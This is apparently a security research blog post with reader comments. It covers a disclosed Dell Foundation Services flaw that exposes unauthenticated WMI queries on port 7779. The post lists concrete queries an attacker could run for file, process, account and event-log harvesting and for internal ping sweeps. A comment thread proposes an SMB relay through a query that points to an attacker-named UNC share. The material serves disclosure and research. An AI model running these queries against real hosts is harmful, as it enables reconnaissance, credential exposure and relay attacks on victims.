On December 1, 2015, a really interesting vulnerability
was disclosed in the Dell Foundation Services software. If
installed, a SOAP service will listen on port 7779 and grant an attacker the
ability to execute unauthenticated WMI queries. I can’t say I’ve ever
encountered such a vulnerability class so this posed an interesting thought
exercise into how an attacker might effectively exploit such a vulnerability
beyond just using the queries to conduct host recon. Specifically, this
vulnerability only allows an attacker to query WMI object instances within the
default namespace – ROOT/CIMv2. This means that you cannot invoke WMI methods or perform event registration - i.e. this is not a remote code execution vulnerability.
I released a PoC PowerShell exploit that allows you to easily view and parse WMI query output from a vulnerable host. The script could be
used to test the exploit locally assuming you have a Dell computer to test on.
The vulnerable software can be obtained from Dell.
Specifically, the vulnerable function is contained within Dell.Tribbles.Agent.Plugins.SystemInfo.dll.
So what kinds of things could an attacker do that would
give them the greatest bang for their buck? For starters, let’s say you wanted
to list all available classes within the ROOT/CIMv2 namespace as a means of determining the attack surface?
PS C:\> Get-DellFoundationServicesWmiObject -IPAddress 127.0.0.1 -Query 'SELECT * FROM
Meta_Class'
What you will find is that there is a sea of WMI classes.
We’ll need to find the diamonds in the rough. Here is an extremely
non-comprehensive list of what I came up with in conjunction with Sean Metcalf
and Carlos Perez:
File listing for a specific directory. e.g. C:\ or search
by extension
SELECT * FROM
CIM_DataFile WHERE Drive="C:" AND Path="\\"
SELECT * FROM
CIM_DataFile WHERE Extension="xlsx"
Process listing (including command-line invocation which
could possibly include credentials)
SELECT * FROM
Win32_Process
List all services
SELECT * FROM
Win32_Service
Account/group enumeration
SELECT * FROM
Win32_Account
SELECT * FROM
Win32_UserAccount
SELECT * FROM
Win32_Group
SELECT * FROM
Win32_LoggedOnUser
List startup programs present in the
registry and Start
Menu
SELECT * FROM
Win32_StartupCommand
OS/Hardware info
SELECT * FROM
Win32_BIOS
SELECT * FROM
Win32_ComputerSystem # Uptime, logged-in user, etc.
SELECT * FROM
Win32_OperatingSystem
Hard disk enumeration
SELECT * FROM
Win32_DiskDrive
SELECT * FROM
Win32_DiskPartition
SELECT * FROM
Win32_LogicalDisk
SELECT * FROM
Win32_Volume
SELECT * FROM
Win32_MountPoint
List system environment variables
SELECT * FROM
Win32_Environment
List network devices and configurations
SELECT * FROM
Win32_NetworkAdapter
SELECT * FROM
Win32_NetworkAdapterConfiguration # Shows assigned IPs
List mapped shares
SELECT * FROM
Win32_Share
Obviously, there are a ton of classes that I may be
missing that you may find to be useful but these were the ones that stood out
to me. Now, beyond performing simple recon actions, what other WMI queries
might be impactful, enable leaks of extremely sensitive information, enable
further exploitation, or cause system instability? Here are some queries I came
up with:
Ping sweep. This could be used to conduct basic internal
scanning.
SELECT * FROM Win32_PingStatus
WHERE Address="10.10.0.1"
Potentially screw with MSI configurations.
SELECT * FROM
Win32_Product
List installed patches. i.e. Determine which patches are not
installed.
SELECT * FROM
Win32_QuickFixEngineering
Dump event logs. e.g. dump System log. This is the most
sensitive info leak I can think of.
SELECT * FROM
Win32_NtLogEvent WHERE Logfile="System"
If you
can think of any additional classes that would go above and beyond host recon,
please let me know on Twitter!
I would look through win32_registry; if you can pull out all the info, you might get things like VNC password details, AutoAdminLogon username/password details, or other credentials. Haven't tried though, as I don't have one of the affected Dells.
ReplyDeleteUnfortunately, reading registry keys and values is off the table as the only way to do so is by invoking WMI methods via the StdRegProv class.
Deletewin32_shadowcopy
ReplyDeleteSure. What would querying instances of shadow copies afford an attacker though?
DeleteHave you thought about causing an SMB Relay with a query. It's not automatically code exec but it could get you closer
ReplyDeleteHey Rob. I personally can't think of a query that would accomplish that. Any ideas?
DeleteHow about the one you just posted after this post: ASSOCIATORS OF {Cim_DataFile.Name="C:\\foo.txt"}, maybe try ASSOCIATORS OF {Cim_DataFile.Name="\\evilattacker\share\foo.txt"} ?
DeleteGreat point! I hadn't considered that. That's definitely worth experimenting with. Thanks for sharing!
DeleteGot it to work with another query option: https://gist.github.com/mubix/6c8cabc4c0f50c51fbbe
Delete